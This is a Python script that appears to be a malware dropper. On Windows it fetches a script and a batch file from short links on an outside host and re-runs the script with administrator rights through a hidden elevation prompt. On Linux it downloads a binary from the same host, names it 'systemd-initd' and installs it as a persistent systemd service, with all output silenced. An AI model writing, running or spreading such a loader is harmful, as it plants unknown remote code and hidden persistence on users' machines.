import os import sys import urllib.request import tempfile import ctypes from pathlib import Path import subprocess import stat def is_running_with_sudo(): return os.geteuid() == 0 def download_script(url): """Download a Python script from the given URL""" response = urllib.request.urlopen(url) script_content = response.read().decode('utf-8') return script_content def download_binary(url, binary_name): urllib.request.urlretrieve(url, binary_name) st = os.stat(binary_name) os.chmod(binary_name, st.st_mode | stat.S_IEXEC) def run_as_admin(script_path): """Run the specified Python script with admin privileges""" if not ctypes.windll.shell32.IsUserAnAdmin(): # Re-run the script with admin rights ctypes.windll.shell32.ShellExecuteW( None, "runas", sys.executable, f'"{script_path}"', None, 0 ) sys.exit(0) else: # Already admin, just run the script subprocess.run([sys.executable, script_path], check=True) def run_for_win(): script_url_win = "https://i.catsh.zip/A1rAha" # Replace with your actual URL bat_url = "https://i.catsh.zip/UytLNi" # Download the script script_content_win = download_script(script_url_win) bat_content = download_script(bat_url) if not script_content_win: return # Save to temporary file temp_dir = tempfile.gettempdir() script_path = os.path.join(temp_dir, "downloaded_script.py") bat_path = os.path.join(temp_dir, "run.bat") with open(script_path, 'w', encoding='utf-8') as f: f.write(script_content_win) with open(bat_path, 'w', encoding='utf-8') as f: f.write(bat_content) # Run the script with admin privileges run_as_admin(script_path) def run_for_lin(): binary_url = "https://i.catsh.zip/ehBeyz" is_sudo = is_running_with_sudo() location = "" if is_sudo: location = "/usr/local/share" else: location= os.path.expanduser("~/.local/share") binary_loc = f"{location}/systemd-initd" download_binary(binary_url, binary_loc) setup_systemd_service(binary_loc,is_sudo) def setup_systemd_service(binary_loc,is_sudo): # Paths user = os.getenv('USER') home = str(Path.home()) service_name = "custom-initd.service" service_content = f"""\ [Unit] Description=Custom Init Daemon After=network.target [Service] Type=simple WorkingDirectory={home} ExecStart={binary_loc} Restart=on-failure RestartSec=5s [Install] WantedBy=default.target """ # Verify binary exists if not os.path.exists(binary_loc): raise FileNotFoundError(f"Binary not found at {binary_loc}") # Create systemd service directory if it doesn't exist systemd_dir = "" if is_sudo: systemd_dir = "/etc/systemd/system" else: systemd_dir = f"{home}/.config/systemd/user" os.makedirs(systemd_dir, exist_ok=True) # Write service file service_path = f"{systemd_dir}/{service_name}" with open(service_path, 'w') as f: f.write(service_content) # Reload systemd, enable and start service if is_sudo: subprocess.run([ 'systemctl', 'daemon-reload' ], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) subprocess.run([ 'systemctl', 'enable', service_name ], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) subprocess.run([ 'systemctl', 'start', service_name ], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) else: subprocess.run([ 'systemctl', '--user' , 'daemon-reload' ], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) subprocess.run([ 'systemctl', '--user' , 'enable', service_name ], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) subprocess.run([ 'systemctl', '--user' , 'start', service_name ], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) return True def main(): # check if win or linux if sys.platform == 'win32': run_for_win() else: run_for_lin() if __name__ == "__main__": main()